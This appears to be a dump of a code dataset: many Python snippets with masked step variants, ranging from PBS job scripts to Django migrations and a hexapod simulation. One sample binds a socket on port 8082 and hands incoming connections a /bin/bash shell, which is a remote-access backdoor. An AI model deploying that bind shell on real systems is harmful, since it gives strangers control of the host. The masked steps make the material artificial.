code
stringlengths
13
6.09M
order_type
stringclasses
2 values
original_example
dict
step_ids
listlengths
1
5
''' Created on 18/10/2012 @author: matthias ''' import os import errno import uuid import glob import shutil import sys import subprocess import time import pickle import common.pbs def prepare_directories(options, extension, subversiondir=None): # extract datadir from options datadir = options['datadir'] ...
normal
{ "blob_id": "6aeaa2ed01e0c0dac54cd8220c5da005fccc53e9", "index": 2609, "step-1": "<mask token>\n\n\ndef prepare_directories(options, extension, subversiondir=None):\n datadir = options['datadir']\n print('Creating directory {0:s}.'.format(datadir + extension))\n try:\n os.makedirs(datadir + exten...
[ 1, 2, 3, 4, 5 ]
<|reserved_special_token_0|> class Tokenizer: def __init__(self, buf): self.buf = buf self.index = 0 <|reserved_special_token_0|> <|reserved_special_token_0|> def skip_whitespaces(self): while self.index < len(self.buf) and self.token().isspace(): self.move(1) ...
flexible
{ "blob_id": "282bccf20cfb114e31c5465c110819796bf81bc0", "index": 9318, "step-1": "<mask token>\n\n\nclass Tokenizer:\n\n def __init__(self, buf):\n self.buf = buf\n self.index = 0\n <mask token>\n <mask token>\n\n def skip_whitespaces(self):\n while self.index < len(self.buf) and...
[ 4, 5, 6, 7, 8 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> {'name': 'Islamic Datepicker', 'category': 'Extra Tools', 'author': 'Mostafa Mohamed', 'website': 'https://eg.linkedin.com/in/mostafa-mohammed-449a8786', 'price': 25.0, 'currency': 'EUR', 'version': '9.0.1.0.1', 'depends': ['base', 'web'], 'da...
flexible
{ "blob_id": "51a4d8f1be7009b69f0b69bdd51a0077256304a9", "index": 7222, "step-1": "<mask token>\n", "step-2": "{'name': 'Islamic Datepicker', 'category': 'Extra Tools', 'author':\n 'Mostafa Mohamed', 'website':\n 'https://eg.linkedin.com/in/mostafa-mohammed-449a8786', 'price': 25.0,\n 'currency': 'EUR'...
[ 0, 1, 2 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> s.bind(('', 8082)) s.listen(1) <|reserved_special_token_0|> os.dup2(conn.fileno(), 0) os.dup2(conn.fileno(), 1) os.system('/bin/bash') conn.close() <|reserved_special_token_1|> <|reserved_special_token_0|> s = socket.socket(soc...
flexible
{ "blob_id": "38a2113c0531648a90cf70c4b18d640d5ebb3f47", "index": 5637, "step-1": "<mask token>\n", "step-2": "<mask token>\ns.bind(('', 8082))\ns.listen(1)\n<mask token>\nos.dup2(conn.fileno(), 0)\nos.dup2(conn.fileno(), 1)\nos.system('/bin/bash')\nconn.close()\n", "step-3": "<mask token>\ns = socket.socket(...
[ 0, 1, 2, 3, 4 ]
<|reserved_special_token_0|> def binary_add(x, y): """ Adds two binary arrays together. """ assert len(x) == len(y) z = [0] * (len(x) + 1) for a, (i, j) in enumerate(zip(x[::-1], y[::-1])): if i not in [0, 1]: return False if j not in [0, 1]: return False ...
flexible
{ "blob_id": "40aa9e7cf0aaca24054297ca80aaf468ba485966", "index": 5621, "step-1": "<mask token>\n\n\ndef binary_add(x, y):\n \"\"\" Adds two binary arrays together. \"\"\"\n assert len(x) == len(y)\n z = [0] * (len(x) + 1)\n for a, (i, j) in enumerate(zip(x[::-1], y[::-1])):\n if i not in [0, 1...
[ 1, 2, 3, 4, 5 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> parser.add_argument('-t', '--testing', action='store_true') parser.add_argument('-i', '--init', action='store_true') parser.add_argument('-r', '--reinit', action='store_true') <|reserved_special_token_0|> try: sys.argv.remove(...
flexible
{ "blob_id": "e403a84ec2a3104cb908933f6949458cccc791c3", "index": 4737, "step-1": "<mask token>\n", "step-2": "<mask token>\nparser.add_argument('-t', '--testing', action='store_true')\nparser.add_argument('-i', '--init', action='store_true')\nparser.add_argument('-r', '--reinit', action='store_true')\n<mask to...
[ 0, 1, 2, 3, 4 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> while i < 10: print('Hello', 2 * i + 5) <|reserved_special_token_0|> <|reserved_special_token_1|> i = 0 while i < 10: print('Hello', 2 * i + 5) i = i + 1 <|reserved_special_token_1|> i = 0 while i < 10: print...
flexible
{ "blob_id": "e22574b5c458c23c48915274656f95a375cdc0e6", "index": 6181, "step-1": "<mask token>\n", "step-2": "<mask token>\nwhile i < 10:\n print('Hello', 2 * i + 5)\n<mask token>\n", "step-3": "i = 0\nwhile i < 10:\n print('Hello', 2 * i + 5)\ni = i + 1\n", "step-4": "\r\ni = 0\r\nwhile i < 10:\r\n ...
[ 0, 1, 2, 3 ]
''' Author: ulysses Date: 1970-01-01 08:00:00 LastEditTime: 2020-08-03 15:44:57 LastEditors: Please set LastEditors Description: ''' from pyspark.sql import SparkSession from pyspark.sql.functions import split, explode if __name__ == "__main__": spark = SparkSession\ .builder\ .appName('StructedS...
normal
{ "blob_id": "991260c268d53fbe73e9bff9990ac536ed802d7a", "index": 6887, "step-1": "<mask token>\n", "step-2": "<mask token>\nif __name__ == '__main__':\n spark = SparkSession.builder.appName('StructedSocketWordCount').master(\n 'local[4]').getOrCreate()\n sc = spark.sparkContext\n sc.setLogLevel...
[ 0, 1, 2, 3 ]
# Generated by Django 2.0.7 on 2018-08-14 21:31 from django.conf import settings from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ migrations.swappable_dependency(settings.AUTH_USER_MODEL), ('orion_integration', '000...
normal
{ "blob_id": "5791c1efa82a1e02ca067e1db776e9d466a111e2", "index": 1765, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\nclass Migration(migrations.Migration):\n <mask token>\n <mask token>\n", "step-3": "<mask token>\n\n\nclass Migration(migrations.Migration):\n dependencies = [migrations.sw...
[ 0, 1, 2, 3, 4 ]
def h1_wrap(func): def func_wrapper(param): return "<h1>"+func(param) + "</h1>" return func_wrapper @h1_wrap def say_hi(name): return "Hello, " + name.capitalize() print(say_hi("Stephan"))
normal
{ "blob_id": "9c9005acb40e4b89ca215345361e21f08f984847", "index": 5735, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\n@h1_wrap\ndef say_hi(name):\n return 'Hello, ' + name.capitalize()\n\n\n<mask token>\n", "step-3": "def h1_wrap(func):\n\n def func_wrapper(param):\n return '<h1>' + fu...
[ 0, 1, 2, 3, 4 ]
import os from flask import Flask from flask.ext.login import LoginManager from config import basedir from flask.ext.sqlalchemy import SQLAlchemy from flask.ext.openid import OpenID from momentjs import momentjs app = Flask(__name__) app.config.from_object('config') db = SQLAlchemy(app) lm = LoginManager() lm.init_app(...
normal
{ "blob_id": "8c1bd4df5f33c433880d6a4becadf88fb922762b", "index": 6379, "step-1": "<mask token>\n", "step-2": "<mask token>\napp.config.from_object('config')\n<mask token>\nlm.init_app(app)\n<mask token>\n", "step-3": "<mask token>\napp = Flask(__name__)\napp.config.from_object('config')\ndb = SQLAlchemy(app)...
[ 0, 1, 2, 3 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> if __name__ == '__main__': text = input('Введите предложение: ') x1 = text.index('с') x2 = text.index('т') if x1 > x2: print("Бурква 'с' встречается позже") else: print("Бурква 'т' встречается п...
flexible
{ "blob_id": "4bad45f8c135463fadea9b3eed52ab045a51e8db", "index": 2520, "step-1": "<mask token>\n", "step-2": "<mask token>\nif __name__ == '__main__':\n text = input('Введите предложение: ')\n x1 = text.index('с')\n x2 = text.index('т')\n if x1 > x2:\n print(\"Бурква 'с' встречается позже\")...
[ 0, 1, 2 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class AssetModelTestCase(AssetTestMixin, BaseTestCase): <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class AssetModelTestCase(AssetTestMixin, BaseTestCase): def test_asset_...
flexible
{ "blob_id": "42c9e5039e2d5f784bf6405ea8bcaf7d6973ddcb", "index": 6456, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\nclass AssetModelTestCase(AssetTestMixin, BaseTestCase):\n <mask token>\n", "step-3": "<mask token>\n\n\nclass AssetModelTestCase(AssetTestMixin, BaseTestCase):\n\n def test_as...
[ 0, 1, 2, 3 ]
<|reserved_special_token_0|> def FetchData(cfg): with open(cfg.FILE, 'rb') as f: data = pickle.load(f) if cfg.SHUFFLE: features, targets = shuffle(data[0], data[1]) else: features = data[0] targets = data[1] training_features = features[:int(len(...
flexible
{ "blob_id": "957e18b2536cda69ba1db571d0308d5e392fe488", "index": 2166, "step-1": "<mask token>\n\n\ndef FetchData(cfg):\n with open(cfg.FILE, 'rb') as f:\n data = pickle.load(f)\n if cfg.SHUFFLE:\n features, targets = shuffle(data[0], data[1])\n else:\n features = da...
[ 5, 6, 7, 8, 10 ]
M, N = 3, 16 prime = set(range(M, N + 1)) for i in range(2, N + 1): prime -= set(range(i ** 2, N + 1, i)) for number in prime: print(number)
normal
{ "blob_id": "d190eb27ea146cf99ac7f8d29fb5f769121af60e", "index": 9437, "step-1": "<mask token>\n", "step-2": "<mask token>\nfor i in range(2, N + 1):\n prime -= set(range(i ** 2, N + 1, i))\nfor number in prime:\n print(number)\n", "step-3": "M, N = 3, 16\nprime = set(range(M, N + 1))\nfor i in range(2...
[ 0, 1, 2 ]
<|reserved_special_token_0|> @pytest.fixture def client(): app.app.config['TESTING'] = True with app.app.test_client() as client: yield client def test_query_missing_args(client): response = client.get('/data/query') assert 'errors' in response.json and '400' in response.status def test_qu...
flexible
{ "blob_id": "a598da0a749fcc5a6719cec31ede0eb13fab228e", "index": 3171, "step-1": "<mask token>\n\n\n@pytest.fixture\ndef client():\n app.app.config['TESTING'] = True\n with app.app.test_client() as client:\n yield client\n\n\ndef test_query_missing_args(client):\n response = client.get('/data/que...
[ 6, 7, 9, 10, 11 ]
# https://stackoverflow.com/questions/69473844/can-you-calculate-the-size-of-a-text-annotation-in-matplotlib from matplotlib.figure import Figure as mpl_Figure from matplotlib.backends.backend_agg import FigureCanvasAgg as mpl_Canvas fig = mpl_Figure() x, y, text = 5, 7, 'My label text' fig.gca().plot(x, y, 'k.') ca...
normal
{ "blob_id": "c87f9885e96abdd32df68f9fe1942b2782bd5b96", "index": 8149, "step-1": "<mask token>\n", "step-2": "<mask token>\nfig.gca().plot(x, y, 'k.')\n<mask token>\ncanvas.draw()\n<mask token>\nfig.gca().plot([bbox.x0, bbox.x1, bbox.x1, bbox.x0, bbox.x0], [bbox.y0,\n bbox.y0, bbox.y1, bbox.y1, bbox.y0], 'k...
[ 0, 1, 2, 3, 4 ]
<|reserved_special_token_0|> def parse_slack_message_object(message_obj): """parse user_name/channel_name out of slack controller Notes: `slackbot.message`.keys(): [type, channel, user, text, ts, source_team, team] Args: message_obj (:obj:`slackbot.message`): response object for slack ...
flexible
{ "blob_id": "2df2cccc22aba2104ab15820e13d304addf83f63", "index": 7163, "step-1": "<mask token>\n\n\ndef parse_slack_message_object(message_obj):\n \"\"\"parse user_name/channel_name out of slack controller\n\n Notes:\n `slackbot.message`.keys(): [type, channel, user, text, ts, source_team, team]\n\n...
[ 1, 2, 3, 4, 5 ]
import numpy as np import matplotlib.pyplot as plt import pandas as pd import matplotlib.animation as animation import pylab from mpl_toolkits import mplot3d from mpl_toolkits.mplot3d import Axes3D class Hexapod: def __init__(self, axis): """ Инициализация начальных параметров системы :par...
normal
{ "blob_id": "9a672c17ee22a05e77491bc1449c1c1678414a8c", "index": 3094, "step-1": "<mask token>\n\n\nclass Hexapod:\n <mask token>\n <mask token>\n\n def get_delta_L(self):\n \"\"\"\n Расчет геометрии положения точек A_i в каждый момент времени.\n Отрисовка графиков изменения длин, с...
[ 6, 9, 10, 11, 13 ]
import random import profile_handler import re class RollBot(): """A class that handles the bulk of functionality""" def __init__(self): """initializes the attributes of the class""" # this is where the procesed user input gets stored for easy readbacks self.input_last_roll = '' ...
normal
{ "blob_id": "301a6ec56bd265ff63a924ecd64d6708cb6b139c", "index": 8419, "step-1": "<mask token>\n\n\nclass RollBot:\n <mask token>\n\n def __init__(self):\n \"\"\"initializes the attributes of the class\"\"\"\n self.input_last_roll = ''\n self.last_roll = []\n self.result = 0\n ...
[ 4, 7, 8, 9, 11 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> print('높이는', height, ' 밑변은', base, '사각형의 면적은', area, '입니다.') <|reserved_special_token_1|> height = int(input('높이 입력: ')) base = int(input('밑변 입력: ')) area = height * base print('높이는', height, ' 밑변은', base, '사각형의 면적은', area, '입니...
flexible
{ "blob_id": "f9b48c1b6489d8981e192838cf1c734e2296ab15", "index": 9833, "step-1": "<mask token>\n", "step-2": "<mask token>\nprint('높이는', height, ' 밑변은', base, '사각형의 면적은', area, '입니다.')\n", "step-3": "height = int(input('높이 입력: '))\nbase = int(input('밑변 입력: '))\narea = height * base\nprint('높이는', height, ' 밑변...
[ 0, 1, 2, 3 ]
# coding: utf-8 # In[2]: from HSTLens_base_classifier_resnet17_s import BaseKerasClassifier from keras.layers import Activation, AveragePooling2D, MaxPooling2D from keras.layers import Conv2D, ELU, Dropout, LeakyReLU from keras.layers.normalization import BatchNormalization class deeplens_classifier(BaseKerasCl...
normal
{ "blob_id": "6bd47fb71a32b8383a75e72111d802008bc6bc68", "index": 3350, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\nclass deeplens_classifier(BaseKerasClassifier):\n <mask token>\n", "step-3": "<mask token>\n\n\nclass deeplens_classifier(BaseKerasClassifier):\n\n def _model_definition(self,...
[ 0, 1, 2, 3, 4 ]
<|reserved_special_token_0|> class SampleForm(forms.ModelForm): class Meta: model = Sample fields = ['name', 'alias', 'sample_type', 'description', 'project', 'author', 'sequence', 'length', 'genbank', 'source_reference', 'comments', 'parent_id', 'organism', 'genus_specie...
flexible
{ "blob_id": "5bb894feaf9293bf70b3f831e33be555f74efde8", "index": 6901, "step-1": "<mask token>\n\n\nclass SampleForm(forms.ModelForm):\n\n\n class Meta:\n model = Sample\n fields = ['name', 'alias', 'sample_type', 'description', 'project',\n 'author', 'sequence', 'length', 'genbank', ...
[ 3, 5, 6, 7 ]
class ListNode: <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_1|> class ListNode: def __init__(self, val: int, next=None): self.val = val self.next = next <|reserved_special_token_0|> def print_list(head: ListNode): node = head while node: ...
flexible
{ "blob_id": "67904f3a29b0288a24e702f9c3ee001ebc279748", "index": 3542, "step-1": "class ListNode:\n <mask token>\n\n\n<mask token>\n", "step-2": "class ListNode:\n\n def __init__(self, val: int, next=None):\n self.val = val\n self.next = next\n\n\n<mask token>\n\n\ndef print_list(head: List...
[ 1, 3, 4, 5, 6 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> for x in range(0, len(lines)): for x1, y1, x2, y2 in lines[x]: cv2.line(imgnew, (x1, y1), (x2, y2), (0, 255, 0), 5) <|reserved_special_token_0|> plt.subplot(131), plt.imshow(img_noblur, cmap='gray') plt.title('Original...
flexible
{ "blob_id": "7b4f46f6c286a7d0ef45079b2fd238b81d5f89eb", "index": 3493, "step-1": "<mask token>\n", "step-2": "<mask token>\nfor x in range(0, len(lines)):\n for x1, y1, x2, y2 in lines[x]:\n cv2.line(imgnew, (x1, y1), (x2, y2), (0, 255, 0), 5)\n<mask token>\nplt.subplot(131), plt.imshow(img_noblur, c...
[ 0, 1, 2, 3, 4 ]
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not u...
normal
{ "blob_id": "47cee0c659976a2b74e2bb07f6c4d622ceab7362", "index": 3866, "step-1": "<mask token>\n\n\nclass AirflowSecurityManager(SecurityManagerOverride, SecurityManager,\n LoggingMixin):\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask token>\n <mask tok...
[ 33, 36, 40, 47, 49 ]
# # Copyright (C) 2020 RFI # # Author: James Parkhurst # # This code is distributed under the GPLv3 license, a copy of # which is included in the root directory of this package. # import logging import numpy from maptools.util import read, write # Get the logger logger = logging.getLogger(__name__) def array_rebin(...
normal
{ "blob_id": "18dc01f3e1672407800e53d80a85ffc8d5b86c17", "index": 7497, "step-1": "<mask token>\n\n\ndef rebin(*args, **kwargs):\n \"\"\"\n Rebin the map\n\n \"\"\"\n if len(args) > 0 and type(args[0]) == 'str' or 'input_filename' in kwargs:\n func = mapfile_rebin\n else:\n func = arr...
[ 1, 3, 4, 5, 6 ]
<|reserved_special_token_0|> def _MinutesToMicroseconds(minutes): return minutes * 60 * 1000000 <|reserved_special_token_0|> class _PickMaxRecord(beam.DoFn): def process(self, data): _, streams = data time_dicts = [] info_dicts = [] metrics_dicts = [] abstract_metr...
flexible
{ "blob_id": "d66945add0726c85b8ac29056269ed55c6eb9369", "index": 3442, "step-1": "<mask token>\n\n\ndef _MinutesToMicroseconds(minutes):\n return minutes * 60 * 1000000\n\n\n<mask token>\n\n\nclass _PickMaxRecord(beam.DoFn):\n\n def process(self, data):\n _, streams = data\n time_dicts = []\n...
[ 4, 5, 6, 7, 8 ]
<|reserved_special_token_0|> def initialize_worker(): worker = PrStatusWorker() worker.start_pr_status_polling() <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def initialize_worker(): worker = PrStatusWorker() worker.start_pr_status_polling() print('St...
flexible
{ "blob_id": "4b5f58d471b05428caef3ca7a3bdc0d30a7e3881", "index": 5265, "step-1": "<mask token>\n\n\ndef initialize_worker():\n worker = PrStatusWorker()\n worker.start_pr_status_polling()\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef initialize_worker():\n worker = PrStatusWorker()\n worke...
[ 1, 2, 3, 4, 5 ]
# Start the HTML and Javascript code print ''' <html> <head> <script type="text/javascript" src="https://www.google.com/jsapi"></script> <script type="text/javascript"> google.load("visualization", "1", {packages:["treemap"]}); google.setOnLoadCallback(drawChart); function drawChart() { ''' ...
normal
{ "blob_id": "0e112ecfd4ccf762234dff564dd6f3987418dedd", "index": 1033, "step-1": "# Start the HTML and Javascript code\nprint '''\n<html>\n <head>\n <script type=\"text/javascript\" src=\"https://www.google.com/jsapi\"></script>\n <script type=\"text/javascript\">\n google.load(\"visualization\", \"1...
[ 0 ]
print('Hi, I am Nag')
normal
{ "blob_id": "0ca751e050244fd85c8110d02d5e7a79eb449ada", "index": 8542, "step-1": "<mask token>\n", "step-2": "print('Hi, I am Nag')\n", "step-3": null, "step-4": null, "step-5": null, "step-ids": [ 0, 1 ] }
[ 0, 1 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def abbreviation(a, b): m, n = len(a), len(b) dp = [([False] * (m + 1)) for _ in range(n + 1)] dp[0][0] = True for i in range(n + 1): for j in range(1, m + 1): if a[j - 1] == b[i - 1]: ...
flexible
{ "blob_id": "5fb998fa761b989c6dd423634824197bade4f8a5", "index": 23, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef abbreviation(a, b):\n m, n = len(a), len(b)\n dp = [([False] * (m + 1)) for _ in range(n + 1)]\n dp[0][0] = True\n for i in range(n + 1):\n for j in range(1, m + ...
[ 0, 1, 2, 3, 4 ]
#!/usr/bin/env python """ Script that generates the photon efficiency curves and stores them in a root file. For the moment only the pT curves for the different eta bins are created """ import re import json import ROOT as r r.PyConfig.IgnoreCommandLineOptions = True import numpy as np import sympy as sp from utils...
normal
{ "blob_id": "fd450b5454b65ed69b411028788c587f9674760c", "index": 966, "step-1": "<mask token>\n\n\ndef eff_param_string():\n \"\"\"\n The parametrization of the efficiencies from AN-2015-11 as a string that can\n be used in a TF1 constructor.\n\n p0 * (1 - p1 * (Erf(pT + p2) - p1 / alpha * (pT - p3 *...
[ 8, 9, 10, 12, 14 ]
print("Hello world! im in github")
normal
{ "blob_id": "2db6f88b733c23063803c374d7a5b651e8443bd5", "index": 6135, "step-1": "<mask token>\n", "step-2": "print('Hello world! im in github')\n", "step-3": "print(\"Hello world! im in github\")\n", "step-4": null, "step-5": null, "step-ids": [ 0, 1, 2 ] }
[ 0, 1, 2 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> __path__.append( '/cvmfs/cms.cern.ch/slc6_amd64_gcc481/cms/cmssw-patch/CMSSW_7_0_6_patch3/python/ggAnalysis' )
flexible
{ "blob_id": "0345c3c2049c972370cd7bde5a6e0a1dfa5dfe66", "index": 3719, "step-1": "<mask token>\n", "step-2": "__path__.append(\n '/cvmfs/cms.cern.ch/slc6_amd64_gcc481/cms/cmssw-patch/CMSSW_7_0_6_patch3/python/ggAnalysis'\n )\n", "step-3": null, "step-4": null, "step-5": null, "step-ids": [ 0,...
[ 0, 1 ]
<|reserved_special_token_0|> def calculateFuel(weight): return weight // 3 - 2 <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def calculateWeight(weight): fuel = calculateFuel(weight) if fuel > 0: sum = fuel + calculateWeight(fuel) return sum ...
flexible
{ "blob_id": "bea1a5bc9c92d095a2f187a4c06d18d0a939f233", "index": 3376, "step-1": "<mask token>\n\n\ndef calculateFuel(weight):\n return weight // 3 - 2\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef calculateWeight(weight):\n fuel = calculateFuel(weight)\n if fuel > 0:\n sum = fuel + ca...
[ 1, 2, 3, 4, 5 ]
<|reserved_special_token_0|> class MovementNullifier: def __init__(self): rospy.Subscriber('odom', Odometry, self.OdomCallback) rospy.Subscriber('cmd_vel', Twist, self.TwistCallback) self.cmd_vel_publisher = rospy.Publisher('cmd_vel', Twist, queue_size=10) self.first =...
flexible
{ "blob_id": "c349fa484476e3195e0932e425cbe93d7a7e5394", "index": 1225, "step-1": "<mask token>\n\n\nclass MovementNullifier:\n\n def __init__(self):\n rospy.Subscriber('odom', Odometry, self.OdomCallback)\n rospy.Subscriber('cmd_vel', Twist, self.TwistCallback)\n self.cmd_vel_publisher = ...
[ 7, 8, 10, 11, 12 ]
<|reserved_special_token_0|> class GameSequence: <|reserved_special_token_0|> <|reserved_special_token_0|> def changeMode(self, number): self.currentMode = self.modes[number] def startGame(self): self.currentTurn = 0 """ does some intro animaton -> starts game ...
flexible
{ "blob_id": "bdfd941be29a31d6c1bbedd270dadac844f49fc4", "index": 1198, "step-1": "<mask token>\n\n\nclass GameSequence:\n <mask token>\n <mask token>\n\n def changeMode(self, number):\n self.currentMode = self.modes[number]\n\n def startGame(self):\n self.currentTurn = 0\n \"\"\"...
[ 6, 7, 8, 9, 11 ]
<|reserved_special_token_0|> class TimerTestCase(TestCase): def setUp(self): call_command('migrate', verbosity=0) child = models.Child.objects.create(first_name='First', last_name= 'Last', birth_date=timezone.localdate()) self.user = User.objects.first() self.named = m...
flexible
{ "blob_id": "135401ea495b80fc1d09d6919ccec8640cb328ce", "index": 3901, "step-1": "<mask token>\n\n\nclass TimerTestCase(TestCase):\n\n def setUp(self):\n call_command('migrate', verbosity=0)\n child = models.Child.objects.create(first_name='First', last_name=\n 'Last', birth_date=time...
[ 10, 17, 25, 26, 34 ]
<|reserved_special_token_0|> @router.get('/', status_code=status.HTTP_200_OK, response_model=List[ schemas.ShowBlog]) def all_blog(db: Session=Depends(database.get_db), current_user: schemas. User=Depends(get_current_user)): return blog.all_blog(db) @router.post('/', status_code=status.HTTP_201_CREATED)...
flexible
{ "blob_id": "7fd5e83d28e919e7b94cea290c6b4db3378938b6", "index": 4600, "step-1": "<mask token>\n\n\n@router.get('/', status_code=status.HTTP_200_OK, response_model=List[\n schemas.ShowBlog])\ndef all_blog(db: Session=Depends(database.get_db), current_user: schemas.\n User=Depends(get_current_user)):\n r...
[ 4, 5, 6, 7, 8 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def test(input, output, duration): results = twoSensorAvg(input, duration) print(results) if len(results) != len(output): return False for i in range(len(output)): if results[i] != output[i]: ...
flexible
{ "blob_id": "836d712c811079f190eae9c2780131a844c9dddf", "index": 3044, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef test(input, output, duration):\n results = twoSensorAvg(input, duration)\n print(results)\n if len(results) != len(output):\n return False\n for i in range(len(...
[ 0, 1, 2, 3 ]
highscores = [] scores = [] while True: user = input('> ').split(' ') score = int(user[0]) name = user[1] scores.append([score, name]) scores.sort(reverse=True) if len(scores) < 3: highscores = scores else: highscores = scores[:3] print(highscores)
normal
{ "blob_id": "54e5feee3c8bb35c351361fd3ed4b5e237e5973d", "index": 6701, "step-1": "<mask token>\n", "step-2": "<mask token>\nwhile True:\n user = input('> ').split(' ')\n score = int(user[0])\n name = user[1]\n scores.append([score, name])\n scores.sort(reverse=True)\n if len(scores) < 3:\n ...
[ 0, 1, 2 ]
# 运算符的优先级 # 和数学中一样,在Python运算也有优先级,比如先乘除 后加减 # 运算符的优先级可以根据优先级的表格来查询, # 在表格中位置越靠下的运算符优先级越高,优先级越高的越优先计算 # 如果优先级一样则自左向右计算 # 关于优先级的表格,你知道有这么一个东西就够了,千万不要去记 # 在开发中如果遇到优先级不清楚的,则可以通过小括号来改变运算顺序 a = 1 + 2 * 3 # 一样 and高 or高 # 如果or的优先级高,或者两个运算符的优先级一样高 # 则需要先进行或运算,则运算结果是3 # 如果and的优先级高,则应该先计算与运算 # 则运算结果是1 a = 1 or 2 and 3 ...
normal
{ "blob_id": "25550cbaf6e0e5bdbbe3852bb8cdc05ac300d315", "index": 8872, "step-1": "<mask token>\n", "step-2": "<mask token>\nprint(result)\n", "step-3": "a = 1 + 2 * 3\na = 1 or 2 and 3\nresult = 1 < 2 < 3\nresult = 10 < 20 > 15\nprint(result)\n", "step-4": "# 运算符的优先级\n# 和数学中一样,在Python运算也有优先级,比如先乘除 后加减\n# 运...
[ 0, 1, 2, 3 ]
<|reserved_special_token_0|> class Submodule(nn.Module): <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class Submodule(nn.Module): def __init__(self, layer_sizes: typing.List[int], activation_name: str, use_batch_norm: boo...
flexible
{ "blob_id": "950b2906853c37cdeaa8ed1076fff79dbe99b6f8", "index": 8327, "step-1": "<mask token>\n\n\nclass Submodule(nn.Module):\n <mask token>\n <mask token>\n", "step-2": "<mask token>\n\n\nclass Submodule(nn.Module):\n\n def __init__(self, layer_sizes: typing.List[int], activation_name: str,\n ...
[ 1, 2, 3, 4 ]
<|reserved_special_token_0|> def aboutme(request): return HttpResponse( " <a href='https://nb786.github.io/Ncoder/about.html' > Aboutme</a>") <|reserved_special_token_0|> def analyze(request): djtext = request.POST.get('text', 'default') removepunc = request.POST.get('removepunc', 'off') f...
flexible
{ "blob_id": "512d0a293b0cc3e6f7d84bb6958dc6693acde680", "index": 1612, "step-1": "<mask token>\n\n\ndef aboutme(request):\n return HttpResponse(\n \" <a href='https://nb786.github.io/Ncoder/about.html' > Aboutme</a>\")\n\n\n<mask token>\n\n\ndef analyze(request):\n djtext = request.POST.get('text', ...
[ 2, 3, 4, 5, 6 ]
from . import metrics from . import matrices from .pairwise import apply_pairwise_rect, apply_pairwise_sparse, apply_running_rect from . import numba_tools as nb_tools from . import running_metrics as running __all__ = ['metrics', 'apply_pairwise_rect', 'apply_pairwise_sparse', 'apply_running_rect', 'nb_tools', 'ma...
normal
{ "blob_id": "3605e8b8b2f8f49cc7c40fc436c147578b12091c", "index": 6026, "step-1": "<mask token>\n", "step-2": "<mask token>\n__all__ = ['metrics', 'apply_pairwise_rect', 'apply_pairwise_sparse',\n 'apply_running_rect', 'nb_tools', 'matrices', 'running']\n", "step-3": "from . import metrics\nfrom . import m...
[ 0, 1, 2 ]
# coding: utf-8 """ Provides test-related code that can be used by all tests. """ import os DATA_DIR = 'tests/data' def get_data_path(file_name): return os.path.join(DATA_DIR, file_name) def assert_strings(test_case, actual, expected): # Show both friendly and literal versions. message = """\ ...
normal
{ "blob_id": "83d35c413af0cefb71964671b43df1e815aa2115", "index": 3945, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\ndef get_data_path(file_name):\n return os.path.join(DATA_DIR, file_name)\n\n\ndef assert_strings(test_case, actual, expected):\n message = (\n \"\"\"\n\n Expected: \"\...
[ 0, 2, 3, 4, 5 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class Migration(migrations.Migration): <|reserved_special_token_0|> <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class Migration(migrations.Migration): dependencies = [(...
flexible
{ "blob_id": "438efbaf35401a29ea5408fee3b49b85f237760e", "index": 1089, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\nclass Migration(migrations.Migration):\n <mask token>\n <mask token>\n", "step-3": "<mask token>\n\n\nclass Migration(migrations.Migration):\n dependencies = [('home', '001...
[ 0, 1, 2, 3, 4 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> print('Hello, world!') <|reserved_special_token_1|> """ Prog: helloworld.py Name: Samuel doyle Date: 18/04/18 Desc: My first program! """ print('Hello, world!')
flexible
{ "blob_id": "513a2bbcf7a63baf900b73b18cf25618937dc7d0", "index": 1054, "step-1": "<mask token>\n", "step-2": "<mask token>\nprint('Hello, world!')\n", "step-3": "\"\"\"\nProg: helloworld.py\nName: Samuel doyle\nDate: 18/04/18\nDesc: My first program!\n\"\"\"\n\nprint('Hello, world!')\n", "step-4": ...
[ 0, 1, 2 ]
import numpy as np from sklearn.decomposition import PCA from sklearn.discriminant_analysis import LinearDiscriminantAnalysis from preprocessing import * from utils import * def find_optimal_param(lda, x_train, y_train): probs_train = lda.predict_proba(x_train)[:, 1] y_train = [x for _,x in sorted(zip(prob...
normal
